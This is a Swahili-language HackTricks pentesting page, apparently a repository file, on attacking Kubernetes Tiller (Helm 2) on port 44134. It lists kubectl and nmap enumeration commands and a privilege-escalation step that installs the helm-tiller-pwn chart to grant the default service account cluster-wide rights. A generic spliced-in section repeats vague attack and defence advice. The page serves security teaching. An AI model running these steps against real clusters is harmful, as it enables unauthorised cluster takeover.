hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md
2024-02-11 02:13:58 +00:00

115 lines
7.8 KiB
Markdown

<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
# Taarifa Msingi
Helm ni **meneja wa pakiti** kwa Kubernetes. Inaruhusu kufunga faili za YAML na kuzisambaza kwenye repositori za umma na binafsi. Pakiti hizi huitwa **Helm Charts**. **Tiller** ni **huduma** inayotumika kwa chaguo-msingi kwenye bandari 44134 inayotoa huduma.
**Bandari ya chaguo-msingi:** 44134
```
PORT STATE SERVICE VERSION
44134/tcp open unknown
```
# Uchambuzi
Ikiwa unaweza **kuchambua pods na/au huduma** za majina tofauti, chambua na tafuta zile zenye **"tiller" katika jina lao**:
```bash
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
```
**Swahili Translation:**
# Pentesting Tiller (Helm)
Helm ni chombo cha usimamizi wa mfuko wa Kubernetes ambacho kinatumika kusimamia na kusambaza programu zilizojengwa kwenye mfumo wa Kubernetes. Tiller ni sehemu ya Helm ambayo inaruhusu watumiaji kusimamia na kudhibiti vifurushi vya programu kwenye mfumo wa Kubernetes.
## Kuchunguza Tiller
Kabla ya kuanza kuchunguza Tiller, ni muhimu kuelewa jinsi inavyofanya kazi na jinsi inavyoshirikiana na mfumo wa Kubernetes. Tiller hutumia gRPC (itifaki ya mawasiliano ya mbali) kwa mawasiliano yake na Kubernetes API server. Kwa hivyo, ni muhimu kuelewa jinsi gRPC inavyofanya kazi na jinsi ya kuchunguza mawasiliano yake.
## Kuvunja Tiller
Kuna njia kadhaa za kuvunja Tiller na kupata udhibiti juu ya mfumo wa Kubernetes. Hapa kuna baadhi ya mbinu zinazoweza kutumika:
1. **Kuvunja Tiller kupitia kuingilia kati kwa trafiki**: Unaweza kuchunguza mawasiliano kati ya Tiller na Kubernetes API server na kuingilia kati kwa trafiki ili kudhibiti mawasiliano hayo. Hii inaweza kufanyika kwa kutumia zana kama mitambo ya kati (man-in-the-middle) au kuvunja SSL/TLS.
2. **Kuvunja Tiller kupitia udhaifu wa usalama**: Unaweza kutafuta udhaifu wa usalama katika Tiller au katika mazingira ya Kubernetes ili kupata udhibiti juu ya mfumo. Hii inaweza kujumuisha kutafuta udhaifu katika toleo la Tiller, kutumia vibaya vibali vya kutosha au kutumia mbinu zingine za kuvunja usalama.
3. **Kuvunja Tiller kupitia mizigo ya Helm**: Unaweza kutumia mizigo ya Helm ili kuvunja Tiller na kupata udhibiti juu ya mfumo wa Kubernetes. Hii inaweza kujumuisha kutumia mizigo ya Helm iliyoundwa kwa makusudi ili kudhibiti Tiller au kutumia mizigo ya Helm iliyoundwa na watumiaji wengine ambayo inaweza kuwa na udhaifu.
## Kuzuia Mashambulizi ya Tiller
Ili kuzuia mashambulizi ya Tiller, kuna hatua kadhaa unazoweza kuchukua:
1. **Funga Tiller**: Ikiwa hauitumii Tiller, unaweza kufunga kabisa ili kuzuia mashambulizi yoyote yanayolenga chombo hicho.
2. **Sasisha Tiller**: Hakikisha kuwa una toleo la karibuni la Tiller na kwamba umesasisha mara kwa mara ili kuepuka udhaifu uliojulikana.
3. **Sanidi vibali vya Tiller**: Hakikisha kuwa vibali vya Tiller vimesanidiwa kwa usahihi ili kuzuia ufikiaji usioidhinishwa.
4. **Tumia usimbuaji wa trafiki**: Tumia usimbuaji wa trafiki kati ya Tiller na Kubernetes API server ili kuzuia kuingiliwa kwa trafiki na kudhibiti mawasiliano.
Kwa kuzingatia hatua hizi za kuzuia, unaweza kusaidia kulinda mfumo wako wa Kubernetes na kuzuia mashambulizi ya Tiller.
```bash
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
```
Unaweza pia jaribu kupata huduma hii kwa kuangalia bandari 44134 inayotumika:
```bash
sudo nmap -sS -p 44134 <IP>
```
Baada ya kuigundua, unaweza kuwasiliana nayo kwa kupakua programu ya mteja ya helm. Unaweza kutumia zana kama `homebrew`, au angalia [**ukurasa rasmi wa matoleo**](https://github.com/helm/helm/releases)**.** Kwa maelezo zaidi, au chaguo nyingine, angalia [mwongozo wa ufungaji](https://v2.helm.sh/docs/using\_helm/#installing-helm).
Kisha, unaweza **kutambua huduma**:
```
helm --host tiller-deploy.kube-system:44134 version
```
## Kupandisha Uthamani
Kwa chaguo-msingi, **Helm2** ilisakinishwa katika **namespace kube-system** na **uthamani wa juu**, kwa hivyo ikiwa utapata huduma hiyo na una ufikiaji wake, hii inaweza kukuruhusu **kupandisha uthamani**.
Unachohitaji kufanya ni kusakinisha pakiti kama hii: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) ambayo itampa **ufikiaji wa alama ya huduma ya chaguo-msingi kwa kila kitu katika kikundi kizima.**
```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```
Katika [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) una **maelezo ya shambulio**, lakini kwa msingi, ikiwa unasoma faili [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) na [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) ndani ya _helm-tiller-pwn/pwnchart/templates/_ unaweza kuona jinsi **mamlaka zote zinavyotolewa kwa token ya chaguo-msingi**.
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>